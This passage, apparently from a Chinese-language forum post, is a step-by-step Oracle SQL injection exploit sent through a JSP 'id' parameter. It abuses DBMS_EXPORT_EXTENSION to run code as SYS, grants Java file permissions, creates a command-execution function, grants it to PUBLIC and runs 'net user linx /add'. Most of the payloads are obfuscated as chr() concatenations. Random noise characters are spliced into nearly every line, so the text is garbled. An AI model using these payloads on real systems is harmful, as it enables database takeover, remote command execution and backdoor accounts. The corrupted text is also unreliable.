: Y. k* r; W) O# W8 A% Q% Vchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||) B4 q8 e; s) R4 E
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
2 }! G7 O, D$ Fchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||$ ]5 D3 W$ M/ {7 m3 l# V
chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||2 E1 a; A- M) v# P9 w- E, R
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)+ \0 C5 `& X! |$ Y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual% f- r0 [) H8 ^$ o( @
: b, ?% C) x) n; {( l
)" L! `+ }) J. T2 q5 y5 E( T
: C% W5 S5 }. f9 t------------------------------
0 k* B9 ]# p3 S7 \
* m1 Q% ]+ e U/ W; R! C8 u& }2.赋Java权限8 [3 w. M" r0 m$ d. }6 U; U
/xxx.jsp?id=1 and chr(49)<>chr(50)||(4 g: S( j: Q- L3 [: e+ v- ?
" v2 q$ z* v0 C+ Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),! a. Z9 g: v2 }1 Y! }# k! ?
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' Y/ B, D$ n* k j
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||: p( i2 x" }% V% o4 h
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||/ B2 g3 B* a% p! }- g* X# | {
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
4 j! ?; A2 `4 v0 ?chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||, `: f0 F+ A+ z% G9 y
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
& X; s1 J5 l4 l! Wchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||+ R# ^. C, I8 x
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
6 i7 t+ n8 X; K$ h( m Q. Wchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
( h+ i Y- s/ W" ]: S; q,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual) m- n7 Q; \$ }& L c
G+ F. ~3 y Z4 b9 z
)
, y+ w. L& ^: ?0 w" m3 V# g1 E
! x" g2 ]/ p8 y Rreadfile函数的ascii版就不写了,见谅。
& Z7 R8 Q+ m' V; b! s( s i5 H" W: o- O ]" X" H
3.创建函数, ^ U. r/ w" M) {" K- |1 ]
3 C# w, o+ v" `- d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),6 k% P5 m+ @# q4 W( Z& i. l
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||. C- B# q. b" `7 B: |; h `- ]% a
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||1 G! s9 Y& `2 M3 W' H/ T# Q
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||2 B! @' d: x8 h8 s9 s0 F# M& I" }8 k; T
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||. w- I0 C. o; O. h% S
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
+ c# h/ D i+ `: Z3 s% o, z/ Ichr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
4 N7 ^, ^6 P+ ^/ P% ychr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
: a6 L* ^! z# g- |7 I9 p$ z3 M- Pchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
9 u$ o% k& n4 H- \4 |* {chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||! H$ j/ q- U# S3 i! I! i
chr(59)||chr(45)||chr(45)
' v6 H1 z' [; O9 b0 Z! x,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 s; {# M: ~$ B. |: _8 o8 [' V8 ?' y1 `3 c! ~( I! h
3 `6 |; a# x4 i) t7 W
y3 c; b0 I" r( O, N+ \4.赋public执行函数的权限4 r- n' n/ y3 f
3 U: Z4 n9 f/ n( w& l! F1 [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
- W0 f( a5 d! R+ }, p: C8 achr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||! r6 O+ k9 c- l
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
3 D2 ?' X. C5 G1 c( o; `7 V* lchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
2 o+ G* y, [; {7 f. x8 Jchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||! U; J5 y9 d( |' W7 G2 x# N! L
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
: P6 O4 W1 {1 F- F: pchr(59)||chr(45)||chr(45)) M) M+ } S& ~! _
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual" k c/ f( s: A( F
1 T# x/ ~; z" o# f# f9 A) e- F5 w7 A& X4 F1 T
+ Q; j: q# X' i$ H) G( G3 h' E
5.执行命令:1 V3 k% A0 F9 }* X
w( ]$ b9 |' u& j4 @3 g& K/xxx.jsp?id=1 and chr(49)<>chr(32)||(
1 s% _( g4 n. D% v8 jselect sys.LinxRunCMD('cmd /c net user linx /add') from dual- H+ i. x+ i7 J2 x* Q0 T4 N
)
3 j: l2 i6 x* v% N- N6 P% X' b: {. i; B7 L- w5 w3 e1 Z
即3 M& Z. a5 M% F9 k! i
/xxx.jsp?id=1 and chr(49)<>chr(32)||(5 @% A0 d2 P9 f8 X9 x! v3 Z) h
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual5 i/ S! E/ ~% }( c
)2 D' V- {4 g4 ?9 ]3 s N, [" t
|